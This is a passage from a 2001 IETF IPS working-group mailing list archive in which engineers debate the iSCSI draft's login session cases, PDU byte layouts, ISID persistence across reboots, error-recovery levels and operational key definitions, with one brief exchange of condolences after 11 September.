reinstatement | +-------+-------+-------+---+-------------------------------------------+ | Exist | Exist | New | 1 | Initiator is attempting session recovery | | | | | | (Proposal A) | +-------+-------+-------+---+-------------------------------------------+ | 0 | Exist | New | 1 | Initiator is attempting session recovery | | | | | | (Proposal B) | +-------+-------+-------+---+-------------------------------------------+ From owner-ips@ece.cmu.edu Wed Sep 12 14:36:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA29935 for ; Wed, 12 Sep 2001 14:36:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CH0eh27016 for ips-outgoing; Wed, 12 Sep 2001 13:00:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CH0cP27012 for ; Wed, 12 Sep 2001 13:00:38 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 4DE751F747 for ; Wed, 12 Sep 2001 10:00:18 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA06138 for ; Wed, 12 Sep 2001 10:00:13 -0700 (PDT) Message-ID: <3B9F9606.8B4ADFEC@cup.hp.com> Date: Wed, 12 Sep 2001 10:06:15 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: Re : iscsi: Flavours of Login Content-Type: multipart/mixed; boundary="------------B873E9B299D2AE14D08A2C04" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------B873E9B299D2AE14D08A2C04 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > Matthew, > > Some comments inline within the table. > Regards, > Santosh > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > Flavours of Login: > > +-------+-------+-------+---+-------------------------------------------+ > > | TSID | ISID | CID | X | Description | > > +-------+-------+-------+---+-------------------------------------------+ > > | 0 | New | New | 0 | Initiator is creating a new session. | > > +-------+-------+-------+---+-------------------------------------------+ > > Agreed. (Note that in this case, the CID is really a don't care, since CID is > always new when a login on a new ISID is received.) > > > | 0 | Exist | New | 0 | Initiator is trying to login after reboot | > > +-------+-------+-------+---+-------------------------------------------+ > > The first qualifier of a login should be the (ISID, TSID). If a session exists > for the given (initiator name + ISID) pair and TSID is set to 0, then, the > target MUST consider this login as an implicit logout of the previous session > and then a re-login. In this case, the CID or X bit must be a "don't care". > (?). > > > | Exist | Exist | New | 0 | Initiator is adding a new connection to | > > | | | | | an existing session. | > > +-------+-------+-------+---+-------------------------------------------+ > > Agreed. > > > | Exist | Exist | Exist | 1 | Initiator is attempted connection | > > | | | | | reinstatement | > > Agreed. > > > +-------+-------+-------+---+-------------------------------------------+ > > | Exist | Exist | New | 1 | Initiator is attempting session recovery | > > | | | | | (Proposal A) | > > The above is an invalid login PDU. An existing (ISID, TSID) login MUST either > use : > a) an existing CID with the X bit set > b) or, a new CID while adding a cxn to a session. > > > +-------+-------+-------+---+-------------------------------------------+ > > | 0 | Exist | New | 1 | Initiator is attempting session recovery | > > | | | | | (Proposal B) | > > +-------+-------+-------+---+-------------------------------------------+ > > As stated earlier, for a given (initiator name + ISID), if the TSID is 0, the > login is an implicit logout + re-login if a previous session exists, for that > (initiator name + ISID). In this case, the CID and X_bit are "don't cares". --------------B873E9B299D2AE14D08A2C04 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------B873E9B299D2AE14D08A2C04-- From owner-ips@ece.cmu.edu Wed Sep 12 14:48:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00284 for ; Wed, 12 Sep 2001 14:48:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CGpYt26406 for ips-outgoing; Wed, 12 Sep 2001 12:51:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CGpVP26398 for ; Wed, 12 Sep 2001 12:51:32 -0400 (EDT) Received: from xparelay1.corp.hp.com (unknown [15.58.136.173]) by palrel12.hp.com (Postfix) with ESMTP id 27FEB1F7F6; Wed, 12 Sep 2001 09:51:26 -0700 (PDT) Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191]) by xparelay1.corp.hp.com (Postfix) with ESMTP id 77D281F53B; Wed, 12 Sep 2001 09:51:25 -0700 (PDT) Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Sep 2001 09:51:25 -0700 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF0E1@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: condolences Date: Wed, 12 Sep 2001 09:51:24 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Thank you Julian. We are all in deep shock as the images of destruction begin to unfold. Such a tragedy. My heart goes out to all of those who may still be trapped in the rubble, and the families that wait in fear. May we all take this opportunity to appreciate each other. Marjorie > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 12, 2001 4:24 AM > To: ips@ece.cmu.edu > Subject: condolences > > > Dear colleagues and friends, > > > I would like to express my deep sympathy to all of you, over > in the US (or > rather over here as we live in a small world). My heart is with you. > Since I cannot find words of comfort, let me just hope that > all terror, > will be eliminated from the face of earth. > > Sincerely, > Julo > From owner-ips@ece.cmu.edu Wed Sep 12 15:01:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00549 for ; Wed, 12 Sep 2001 15:01:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CHk5429663 for ips-outgoing; Wed, 12 Sep 2001 13:46:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CHk3P29659 for ; Wed, 12 Sep 2001 13:46:03 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id E2089156 for ; Wed, 12 Sep 2001 19:46:34 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id SAA05858; Wed, 12 Sep 2001 18:45:59 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Wed, 12 Sep 2001 18:45:03 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Sep 2001 18:45:02 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8C1@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Santosh Rao'" , IPS Reflector Subject: RE: Re : iscsi: Flavours of Login Date: Wed, 12 Sep 2001 18:45:58 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Thanks for the clarification Santosh Matthew -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 12, 2001 6:06 PM To: IPS Reflector Subject: Re : iscsi: Flavours of Login > Matthew, > > Some comments inline within the table. > Regards, > Santosh > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > Flavours of Login: > > +-------+-------+-------+---+-------------------------------------------+ > > | TSID | ISID | CID | X | Description | > > +-------+-------+-------+---+-------------------------------------------+ > > | 0 | New | New | 0 | Initiator is creating a new session. | > > +-------+-------+-------+---+-------------------------------------------+ > > Agreed. (Note that in this case, the CID is really a don't care, since CID is > always new when a login on a new ISID is received.) > > > | 0 | Exist | New | 0 | Initiator is trying to login after reboot | > > +-------+-------+-------+---+-------------------------------------------+ > > The first qualifier of a login should be the (ISID, TSID). If a session exists > for the given (initiator name + ISID) pair and TSID is set to 0, then, the > target MUST consider this login as an implicit logout of the previous session > and then a re-login. In this case, the CID or X bit must be a "don't care". > (?). > > > | Exist | Exist | New | 0 | Initiator is adding a new connection to | > > | | | | | an existing session. | > > +-------+-------+-------+---+-------------------------------------------+ > > Agreed. > > > | Exist | Exist | Exist | 1 | Initiator is attempted connection | > > | | | | | reinstatement | > > Agreed. > > > +-------+-------+-------+---+-------------------------------------------+ > > | Exist | Exist | New | 1 | Initiator is attempting session recovery | > > | | | | | (Proposal A) | > > The above is an invalid login PDU. An existing (ISID, TSID) login MUST either > use : > a) an existing CID with the X bit set > b) or, a new CID while adding a cxn to a session. > > > +-------+-------+-------+---+-------------------------------------------+ > > | 0 | Exist | New | 1 | Initiator is attempting session recovery | > > | | | | | (Proposal B) | > > +-------+-------+-------+---+-------------------------------------------+ > > As stated earlier, for a given (initiator name + ISID), if the TSID is 0, the > login is an implicit logout + re-login if a previous session exists, for that > (initiator name + ISID). In this case, the CID and X_bit are "don't cares". From owner-ips@ece.cmu.edu Wed Sep 12 15:15:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00877 for ; Wed, 12 Sep 2001 15:15:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CHeNO29368 for ips-outgoing; Wed, 12 Sep 2001 13:40:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CHeJP29356 for ; Wed, 12 Sep 2001 13:40:21 -0400 (EDT) Received: by ATLOPS with Internet Mail Service (5.5.2448.0) id ; Wed, 12 Sep 2001 13:40:00 -0400 Message-ID: <25369470B6F0D41194820002B328BDD21162BD@ATLOPS> From: Sanjay Goyal To: "'ips@ece.cmu.edu'" Subject: FW: iSCSI: PDU formats Date: Wed, 12 Sep 2001 13:39:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree with Robert. For the 3rd item, I would suggest we move T|C|0|CNxSG fields to byte 1 as they are reserved in Login PDUs, and T-bit aligns with F-bit which is byte 1, bit-7. Anyway byte 1 is analyzed for different sort of bits in different PDU formats. Regards Sanjay Goyal -----Original Message----- From: Robert D. Russell [mailto:rdr@mars.iol.unh.edu] Sent: Wednesday, September 12, 2001 10:44 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iSCSI: PDU formats Julian: I would like to request 3 small changes in the format of some of the PDUs. One of the design features that you have employed very successfully to date is to have a given field, such as the "Initiator Task Tag" for example, always appear in the same position (bytes 16-19) in any PDU in which it appears. This makes it easy to understand, to implement, and to debug. However, a few small inconsistencies in the application of this design principle have crept in with draft 7, and I would like to propose that we fix them. 1. In draft 6 the SCSI Response PDU had one Status/Response field in byte 3 -- in draft 7-90 it now has a Status field in byte 2 and a Response field in byte 3. In draft 6 the Data-in PDU also had a Status field in byte 3, and in draft 7-90 it is still in byte 3, with byte 2 unused (reserved). Would you please either: a. Reorder the bytes in the SCSI Response PDU so that the Status field will be in byte 3 (so it is consistent with the Data-in PDU) and the Response field will be in byte 2; or b. Move the status field in the Data-in PDU from byte 3 to byte 2 (so it remains consistent with the SCSI Response PDU). I would prefer alternative a. because it would leave the Data-in PDU unchanged for drafts 6, 7 and 8, and the SCSI Response PDU has to change in any case. However, obviously either solution would work. 2. In draft 7-90, a field called "Response" appears in 3 PDUs: a. In byte 36 of the Task Management Response PDU. b. In byte 36 of the Logout Response PDU. c. In byte 2 (if my request 1a above is taken) in the SCSI Response PDU. This is clearly inconsistent with a and b. Since bytes 2 and 3 are currently unused (reserved) in both the Task Management Response PDU and the Logout Response PDU, the simplest solution would be to move the "Response" field in those 2 PDUs to byte 2 in order to be consistent with the SCSI Response PDU. To keep the design clean, the new "Qualifier" field in the Task Management Response PDU should probably also be moved to byte 3. 3. In draft 7-90 the Login and Login Response PDUs have been modified with the introduction of the T, C, and CNxSG fields in byte 37. However, in the Login Response PDU these fields overlay the Status-Detail field, which is also in byte 37. Although the way to interpret this field is uniquely determined by the context, it is context dependent and I believe that this will lead to a lot of needless errors in coding, and that it also makes debugging more difficult, because the use of this byte changes during the login phase exchanges. This means that you can't always look at it the same way. To avoid this overlay, would you please move the new fields (T, C, and CNxSG) to one of the currently unused bytes. Many bytes (2, 10-11, 20-23, 38-39, 40-47) are currently unused in both of these PDUs, so there would appear to be no urgent need to overlay the new fields on top of an existing field in order to save space. Thanks, Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Wed Sep 12 16:13:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA02095 for ; Wed, 12 Sep 2001 16:13:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CIcnf02822 for ips-outgoing; Wed, 12 Sep 2001 14:38:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CIclP02815 for ; Wed, 12 Sep 2001 14:38:47 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNKK1; Wed, 12 Sep 2001 14:38:41 -0400 Reply-To: From: "Eddy Quicksall" To: "'David Dillard'" , "'Martin, Nick'" Cc: Subject: RE: iSCSI: login issue - partial consensus call Date: Wed, 12 Sep 2001 14:38:29 -0400 Message-ID: <000101c13bba$1ef60500$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <8BE017CC8923D511A00A0008C78605EE7A804E@LMOXCH04> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit One thing to keep in mind when assigning the ISID's via the registry is that the drivers will have to get the same set of ISID's when they re-boot after a failure. Considering the following, is that possible? - the client crashes - maintenance notices that the reason for the crash was due to a short in one of the iSCSI HBA's - so, maintenance pulls out that HBA - he re-boots - during the re-boot, the drivers come up in a different order because one is missing Eddy -----Original Message----- From: David Dillard [mailto:david.dillard@veritas.com] Sent: Tuesday, September 11, 2001 9:28 AM To: 'Martin, Nick' Cc: 'ips@ece.cmu.edu' Subject: RE: iSCSI: login issue - partial consensus call Not to turn this into a Microsoft Windows driver reflector but... > There are a number of conditions which can cause this information > to be incorrect. (As an example two different controller models > supported by the same driver will each be treated as instance 0 > and get the same command line.) There is a documented way of handling this issue. See KB article Q133706. I believe there is a much larger issue, that you brought up in a later posting: that miniports cannot legally, and perhaps illegally, use the registry access routines. David From owner-ips@ece.cmu.edu Wed Sep 12 16:18:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA02174 for ; Wed, 12 Sep 2001 16:18:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CJBVU05059 for ips-outgoing; Wed, 12 Sep 2001 15:11:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CJBUP05055 for ; Wed, 12 Sep 2001 15:11:30 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel7.hp.com (Postfix) with ESMTP id 8B1AC1F948 for ; Wed, 12 Sep 2001 15:09:45 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id MAA07131 for ; Wed, 12 Sep 2001 12:12:43 -0700 (PDT) Message-Id: <200109121912.MAA07131@core.rose.hp.com> Date: Wed, 12 Sep 2001 12:22:34 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: iSCSI: revised error recovery hierarchy Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit All: Here's a revised error recovery layering proposal. http://storage-arch.hp.com/iscsi_hierarchy-2.pdf Please review and offer comments. The earlier London proposal slides are on the same website for your reference. I believe this revised proposal balances the desire to reduce the # of levels with the need to ensure that we don't bundle multi-connection functionality into single-connection error recovery. IOW, the revised level "2" deals exclusively with connection failover capabilities and implementations supporting only single connection sessions do not ever have to support level "2". Since publication of rev08 appears to be only by this weekend and there seems to some preference towards fewer number of levels anyway, my current thinking is to incorporate this revised hierarchy into rev08 for a detailed WG review and debate. Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com From owner-ips@ece.cmu.edu Wed Sep 12 17:01:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02924 for ; Wed, 12 Sep 2001 17:01:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CJ4Ig04555 for ips-outgoing; Wed, 12 Sep 2001 15:04:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CJ4GP04551 for ; Wed, 12 Sep 2001 15:04:16 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA49398; Wed, 12 Sep 2001 15:01:39 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8CJ3tC89076; Wed, 12 Sep 2001 13:03:55 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Wed, 12 Sep 2001 12:03:53 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/12/2001 12:03:54 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I think the scenario you're talking about isn't really that big a deal; I've argued this sort of thing before. First, it's really the target that has to remember (for reservations) the ISID that was used for a given initiator *through the target's reset*, not through the initiator reset. Consider: the target cannot tell the difference between a crash of the session (network failures) and a crash of the initiator. Similarly, the initiator cannot tell the difference between a crash of the session (network failures) or a crash of the target. The guarantee here is that *from a LIVE initiator's point of view*, a change in the target shouldn't affect it's world. So, while the initiator is LIVE, it should be able to recover the world it had once it can recommuniciate with the target. There is no obligation on the part of the target to recover the initiator's view of the world through initiator failures unless the initiator re-identifies himself as the same old guy. Now, for the initiator that detects the failure (network or target, it can't tell) and is still live, it already has everything it needs to re-identity itself. For the initiator that failed, there's no real point it re-identifying itself even if it had a reservation (if it didn't, the point is moot). There's only two cases to care about here. Either no one else in the cluster has pre-empted the reservation OR someone else in the cluster has done that. In the first case, if it knows it wants the reservation back, it can pre-empt it's own reservation. In the second case, there's nothing to worry about cause the reservation it had is gone and the target has no necessary state for it. In short, I think we're overworking this problem of the initiator rebuilding its old word after it's own failure. That's a recovery case that must be handled for lots of reasons, not just getting back the ISID. The key is really what the target has to remember AND what the unfailed initiator has to do for recovery thru network or target failures. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/12/2001 11:38:29 am Please respond to Sent by: owner-ips@ece.cmu.edu To: "'David Dillard'" , "'Martin, Nick'" cc: Subject: RE: iSCSI: login issue - partial consensus call One thing to keep in mind when assigning the ISID's via the registry is that the drivers will have to get the same set of ISID's when they re-boot after a failure. Considering the following, is that possible? - the client crashes - maintenance notices that the reason for the crash was due to a short in one of the iSCSI HBA's - so, maintenance pulls out that HBA - he re-boots - during the re-boot, the drivers come up in a different order because one is missing Eddy -----Original Message----- From: David Dillard [mailto:david.dillard@veritas.com] Sent: Tuesday, September 11, 2001 9:28 AM To: 'Martin, Nick' Cc: 'ips@ece.cmu.edu' Subject: RE: iSCSI: login issue - partial consensus call Not to turn this into a Microsoft Windows driver reflector but... > There are a number of conditions which can cause this information > to be incorrect. (As an example two different controller models > supported by the same driver will each be treated as instance 0 > and get the same command line.) There is a documented way of handling this issue. See KB article Q133706. I believe there is a much larger issue, that you brought up in a later posting: that miniports cannot legally, and perhaps illegally, use the registry access routines. David From owner-ips@ece.cmu.edu Wed Sep 12 18:14:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04213 for ; Wed, 12 Sep 2001 18:14:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CKX2610740 for ips-outgoing; Wed, 12 Sep 2001 16:33:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CKX0P10734 for ; Wed, 12 Sep 2001 16:33:00 -0400 (EDT) Received: by ATLOPS with Internet Mail Service (5.5.2448.0) id ; Wed, 12 Sep 2001 16:32:51 -0400 Message-ID: <25369470B6F0D41194820002B328BDD21162BE@ATLOPS> From: Sanjay Goyal To: "'ips@ece.cmu.edu'" Subject: iSCSI: Appendix D:- Login/Text Operatiopnal keys Date: Wed, 12 Sep 2001 16:32:49 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi A few problems I see with these keys definitions are 1. Item 20, InitialR2T (IO) definition says Note that only the first outgoing data item (either immediate data or a separate PDU) can be sent unsolicited by an R2T. whereas item 21 BidiInitialR2T (IO) Note that only the first outgoing data burst (immediate data or separate PDUs) can be sent unsolicited by an R2T. It does not seem consistent to me, we should correct the text in item 20. 2. item 22 ImmediateData is having USE defined as LO whereas item 20,21 have it as ALL, should not it be either IO or LO for both items 20,21. 3. item 23 DataPDULength is 16-bit and the one unit is 512 bytes which is 9 bits. so total bytes specified using this parameter can be 16+9 = 25 bits whereas we only have 24 bits in DataSegmentLength field of PDUs. 4. item 27 DataPDUOrder says if value is YES, overlays are forbidden, DOES it mean overlays are allowed in the case of value being NO. Regards Sanjay Goyal From owner-ips@ece.cmu.edu Wed Sep 12 18:34:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA04557 for ; Wed, 12 Sep 2001 18:34:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CL5dX12998 for ips-outgoing; Wed, 12 Sep 2001 17:05:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CL5XP12991 for ; Wed, 12 Sep 2001 17:05:37 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNKL9; Wed, 12 Sep 2001 17:05:27 -0400 Reply-To: From: "Eddy Quicksall" To: "'Jim Hafner'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Wed, 12 Sep 2001 17:05:18 -0400 Message-ID: <000101c13bce$a0fafe70$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Yea, I agree with all that. I was just pointing out what can happen if the registry is going to be used to parse ISID's out to devices as they load. As we continue with these ISID issues, this needs to be kept in mind. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Wednesday, September 12, 2001 3:04 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I think the scenario you're talking about isn't really that big a deal; I've argued this sort of thing before. First, it's really the target that has to remember (for reservations) the ISID that was used for a given initiator *through the target's reset*, not through the initiator reset. Consider: the target cannot tell the difference between a crash of the session (network failures) and a crash of the initiator. Similarly, the initiator cannot tell the difference between a crash of the session (network failures) or a crash of the target. The guarantee here is that *from a LIVE initiator's point of view*, a change in the target shouldn't affect it's world. So, while the initiator is LIVE, it should be able to recover the world it had once it can recommuniciate with the target. There is no obligation on the part of the target to recover the initiator's view of the world through initiator failures unless the initiator re-identifies himself as the same old guy. Now, for the initiator that detects the failure (network or target, it can't tell) and is still live, it already has everything it needs to re-identity itself. For the initiator that failed, there's no real point it re-identifying itself even if it had a reservation (if it didn't, the point is moot). There's only two cases to care about here. Either no one else in the cluster has pre-empted the reservation OR someone else in the cluster has done that. In the first case, if it knows it wants the reservation back, it can pre-empt it's own reservation. In the second case, there's nothing to worry about cause the reservation it had is gone and the target has no necessary state for it. In short, I think we're overworking this problem of the initiator rebuilding its old word after it's own failure. That's a recovery case that must be handled for lots of reasons, not just getting back the ISID. The key is really what the target has to remember AND what the unfailed initiator has to do for recovery thru network or target failures. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/12/2001 11:38:29 am Please respond to Sent by: owner-ips@ece.cmu.edu To: "'David Dillard'" , "'Martin, Nick'" cc: Subject: RE: iSCSI: login issue - partial consensus call One thing to keep in mind when assigning the ISID's via the registry is that the drivers will have to get the same set of ISID's when they re-boot after a failure. Considering the following, is that possible? - the client crashes - maintenance notices that the reason for the crash was due to a short in one of the iSCSI HBA's - so, maintenance pulls out that HBA - he re-boots - during the re-boot, the drivers come up in a different order because one is missing Eddy -----Original Message----- From: David Dillard [mailto:david.dillard@veritas.com] Sent: Tuesday, September 11, 2001 9:28 AM To: 'Martin, Nick' Cc: 'ips@ece.cmu.edu' Subject: RE: iSCSI: login issue - partial consensus call Not to turn this into a Microsoft Windows driver reflector but... > There are a number of conditions which can cause this information > to be incorrect. (As an example two different controller models > supported by the same driver will each be treated as instance 0 > and get the same command line.) There is a documented way of handling this issue. See KB article Q133706. I believe there is a much larger issue, that you brought up in a later posting: that miniports cannot legally, and perhaps illegally, use the registry access routines. David From owner-ips@ece.cmu.edu Wed Sep 12 19:17:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05177 for ; Wed, 12 Sep 2001 19:17:20 -0400 (EDT) Received: (from 